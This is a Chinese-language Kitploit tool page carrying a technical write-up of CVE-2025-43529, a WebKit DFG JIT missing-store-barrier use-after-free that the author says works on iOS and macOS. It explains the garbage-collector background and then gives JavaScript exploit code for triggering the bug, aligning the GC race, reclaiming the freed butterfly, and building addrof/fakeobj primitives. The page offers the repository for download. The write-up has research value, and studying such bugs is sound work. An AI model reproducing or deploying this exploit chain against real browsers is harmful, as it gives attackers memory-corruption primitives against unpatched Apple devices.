Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-43529 — 针对 CVE-2025-43529 的技术漏洞利用,这是 WebKit DFG JIT 编译器漏洞,通过并发 GC 中缺失的存储屏障实现 use-after-free,包含针对 iOS 和 macOS 的完整利用原语。 | Kitploit
工具/GitHubGitHub/jir4vv1t/cve-2025-43529
内存取证漏洞分析漏洞利用逆向工程Web安全二进制利用
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

针对 CVE-2025-43529 的技术漏洞利用,这是 WebKit DFG JIT 编译器漏洞,通过并发 GC 中缺失的存储屏障实现 use-after-free,包含针对 iOS 和 macOS 的完整利用原语。

查看仓库
851158个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-43529

TL; DR

Apple 最近发布了 iOS 26.2 和 iPadOS 26.2,以及一份安全公告,其中包含对 WebKit 漏洞的修复。DFG JIT 编译器中的一个 bug(CVE-2025-43529)引起了我的注意,所以我决定深入研究它。

JIT 编译器正确地识别出 Phi 节点(多个控制流路径合并处)已经逃逸,但未能注意到 Phi 的 Upsilon 节点也已逃逸。因此,DFG 编译的 StoreBarrierInsertionPhase 跳过了插入 Store Barrier,而 Store Barrier 是一种关键的内存安全机制。结果,并发 GC 可能会遗漏本应扫描的对象,从而导致释放后使用。

你可以在此处找到补丁提交:链接。

我已确认我的利用在 iOS 26.1、iPadOS 26.1 和 macOS Tahoe 26.0.1 上有效。

背景

分代 GC

JSC 使用分代 GC 模型来高效管理堆内存。在该模型中,内存根据对象年龄分为 Eden(新空间)和老空间。所有新分配的对象都从 Eden 开始。当 Eden 填满时,会触发 Eden GC,任何存活的对象都会被提升到老空间。清理老空间对象需要一次完整 GC。

为了使分代 GC 正常工作,GC 需要将对象分类为“已扫描”、“需要扫描”或“需要重新扫描”。在 JSC 中,这是通过对象的 cellState 来跟踪的。(所有 GC 管理的对象都继承自 JSCell。)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState 是 1 个字节,可以是三种颜色之一:Black(0)、White(1)和 Grey(2)。

White 表示刚刚在 Eden 中分配的对象。在当前 GC 周期中,它尚未被标记。如果它在整个 GC 周期中保持此状态,则该对象将被回收。

Black 表示 GC 已经完成对该对象的标记,或者正在标记过程中。它基本上被视为存活对象,尽管 isMarked 位可能仍未设置。

Grey 表示仍需要扫描的对象。更准确地说,它最初是 Black,但被写屏障捕获并添加到记忆集中。换句话说,它的引用发生了变化,因此 GC 需要重新扫描它。

并发 GC

JSC 还支持并发 GC,允许在回收内存的同时运行应用程序。如果 GC 在后台标记一个对象,而应用程序同时更改该对象的状态,则可能会导致竞态条件。

为防止这种情况,需要排序保证。例如,“先写入(存储)A,然后读取(加载)B”必须按此顺序发生。但在 ARM64 上,出于性能原因,CPU 可以重新排序内存操作。这意味着 GC 可能读取错误的值。

因此,JSC 使用依赖类来依赖 CPU 的数据依赖关系,或者使用特殊的 ARM64 指令(如 STLR 和 LDAR)来强制排序。STLR 确保先前的读/写在存储之前变得可见(释放存储)。LDAR 确保后续的读/写不能提前到加载之前(获取加载)。当另一个线程读取对象时,LDAR 与 STLR 配对,以便安全地观察最新数据。

DMB 不是针对单次访问的单一特殊指令。它是一个屏障,强制对其周围的所有内存访问进行排序。它确保 DMB 之前的内存操作在 DMB 之后的操作之前变得可见。

JSC JIT

JSC 总共有三个 JIT 层级。 为了平衡执行速度与编译成本(内存/时间),它会根据代码的运行频率应用优化并将其提升到下一个层级。

  • 第 1 层:Baseline JIT
  • 第 2 层:DFG JIT
  • 第 3 层:FTL JIT

Baseline JIT 是第一个 JIT 编译器。它专注于以较低的编译开销快速生成本地代码。 DFG JIT 是 Baseline JIT 之后的下一阶段,从这里开始进行认真的优化。

在 DFG 层级,JavaScript 指令被转换为由 DFG IR 节点组成的图。利用收集到的类型信息,编译器进行推测以消除不必要的操作。 在 JSC 的 DFG 优化管道中,StoreBarrierInsertionPhase 在对内存进行写入的节点(如 PutByOffset)之后插入 StoreBarrier。 CVE-2025-43529 是一个漏洞,由在 StoreBarrierInsertionPhase 期间本应插入 StoreBarrier 时却未能插入所致。

StoreBarrier 是一个充当写屏障的节点。它用于保持在标记线程竞争下的正确性。

触发 Bug

补丁提交中描述的易受攻击的 DFG 节点场景如下:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

在 BB#1 中,创建了两个新对象,执行分支到 BB#2 或 BB#3。BB#2 然后落入 BB#3。BB#3 中有趣的部分是 Phi 节点。这意味着 f 是 c 或 e,该选择由上游的 Upsilon 节点决定。在 BB#3 中,PutByOffset 表示向对象的属性添加一个值。

简化的 PoC

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

如果使用 --dumpFTLDisassembly=true 选项,你可以检查 FTL 编译后的汇编代码。

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

由于该 bug,b 的 StoreBarrier 没有被发出。

对象 A 位于老空间中。在第一个 PutByOffset(A.p0 = f)中,老对象 A 最终指向了新对象 f。这意味着在该存储之后的任何时刻,标记线程都可以通过 A 到达 f。因此,如果你后来修改了 f 的属性,则必须插入 StoreBarrier。

f(Phi 节点)被视为逃逸,但实际可以流入 f 的输入(通过 Upsilon:b 和 d)并未被标记为逃逸。从逻辑上讲,如果 f 被存储到 A 中,那么任何可能成为 f 的对象(包括 b)实际上也被存储到了 A 中。但由于这个 bug,编译器没有意识到这一点,所以它仍然认为 b 是一个非逃逸的“安全”值,GC 不需要扫描它,最终跳过了 StoreBarrier。

竞态条件

要触发释放后使用,必须在主线程和标记线程之间成功进行竞态。场景如下:

  1. 并发标记(标记线程): 标记线程通过从老空间对象 A 遍历到达 b,并将 A 和 b 都标记为黑色。

  2. 引用更新(主线程): 主线程执行 b.p0 = a。此时,a 是一个尚未被标记的 Eden 对象,因此它仍然是 White。这创建了一个 Black 对象指向一个 White 对象。

  3. 缺失的存储屏障: 正常情况下,b 应该被添加到记忆集中。但由于 bug 跳过了存储屏障,GC 从未得知 b 现在指向了 a。GC 周期继续,如果没有其他东西引用 a,它将始终保持 White,最终被释放。

  4. GC 周期结束: 之后,读取 b.p0 可能会触及已释放的内存,导致释放后使用。

竞争窗口

利用竞态条件最难的部分是命中竞争窗口。对象 A 和 b 需要在同一个 GC 周期内被标记。为了使主线程和标记线程之间的时序对齐,我使用了三种技术。

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

首先,为了确保在 A 的扫描开始之前有一个时间窗口,你需要让 GC 访问一些子对象,我将 arr 做得很大,并将 A 放在最后一个索引处。这里需要注意的一点是,A 需要位于老空间中。

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

其次,扫描老空间中的 A 需要触发一次完整 GC。为此,你需要分配足够多的大对象。为了使 GC 的触发更加一致,我保留了所分配对象的引用,这样它们就不会被优化掉,我将其存储在 A.p2 中。

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

第三,一旦触发了一次完整 GC,如果你设法通过使用一个足够大的数组来延迟标记 A,那么主线程仍然需要 A 的标记刚好在它向 b 添加对 a 的引用之前完成。为了强制这种时序,我添加了一个大循环。并且为了防止循环被优化掉,我将最终值存储在了 b.p0 中。

利用

回收 butterfly

在一次 GC 周期完成后,你可以观察到,当包含已释放对象的 MarkedBlock 被再次使用时,该块中未被标记的对象会被清除。在 JSC 中,清除机制使 MarkedBlock 的全部或部分可用于进一步的分配。已释放对象的地址只有在清除发生后才对分配器可重用。

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

竞态之后,循环不断分配长度为 5 的数组,以鼓励回收被清除的 butterfly。如果 butterfly 被重新分配,你可以通过读取共享相同 butterfly 地址的对象的索引属性来检测到它。

在内部,创建 arr 会调用 JSC::constructArrayBuffer,从而触发 MarkedBlock::Handle::specializedSweep。这就是包含 butterfly 的块的 FreeList 首次构建的地方。

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

使用 PoC,如果在竞态之后对包含 butterfly 的块进行清除,emptyMode、marksMode 和 newlyAllocatedMode 将分别变为 IsEmpty、MarksStale 和 DoesNotHaveNewlyAllocated,因此执行将进入上面的 if 语句。

在普通的清除中,你需要分段构建空闲链表,但在这里整个块是空的,所以空闲链表被初始化为一个覆盖整个块的大型区间。freeList 结构非常简单。它基本上只跟踪块的起始位置、结束位置及其大小。

此时,freeList 包含整个块,其中包括 butterfly 指针。

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

从 freeList 分配内存由 FreeList::allocateWithCellSize 处理。如果 m_intervalStart 和 m_intervalEnd 不相等,分配器会将区间视为有空闲单元格可用,返回当前起始指针作为新对象的地址,然后将起始指针前进 cellSize 个字节。

该函数从 JSC::constructArray 中调用,并在循环内反复命中。最终,一个新分配的数组最终将其 butterfly 设置为已释放的 butterfly 地址。

清除垃圾

利用失败的原因有很多,但一个简单的改进是消除残留在栈上的 butterfly 指针。

在 butterfly 分配期间,分配的指针会被反复写入栈。如果在调用触发释放后使用的函数之后,该指针仍然留在栈上,GC 的保守栈扫描可能会拾取它并标记它,这会阻止它被释放,最终像正常对象一样“保护”它。

在 PoC 中,这通过调用一个创建大量栈帧的函数来解决。

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

通过调用递归函数,主线程用函数帧填满其栈空间,用其他值覆盖所有遗留的 butterfly 地址。之后,在栈扫描期间找到 butterfly 指针的可能性降低,从而增加了 GC 不会扫描该 butterfly 的几率。

构建原语

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

通过释放后使用,你可以让已释放对象 a 和新分配的数组拥有相同的 butterfly。然后,通过使这两个对象使用不同的 IndexingType,你可以以 Double 和 Contiguous 两种方式访问这个单一 butterfly 中的值。这直接导致了经典的 addrof 和 fakeobj 原语。

后续步骤

如果你已经成功构建了 addrof/fakeobj 原语,那么你可以轻松构建读/写原语。但是,要获得代码执行能力,你仍然需要绕过指针认证。这部分留作挑战。

参考资料

  • Understanding Garbage Collection in JavaScriptCore From Scratch
  • About the security content of iOS 26.2 and iPadOS 26.2
下载工具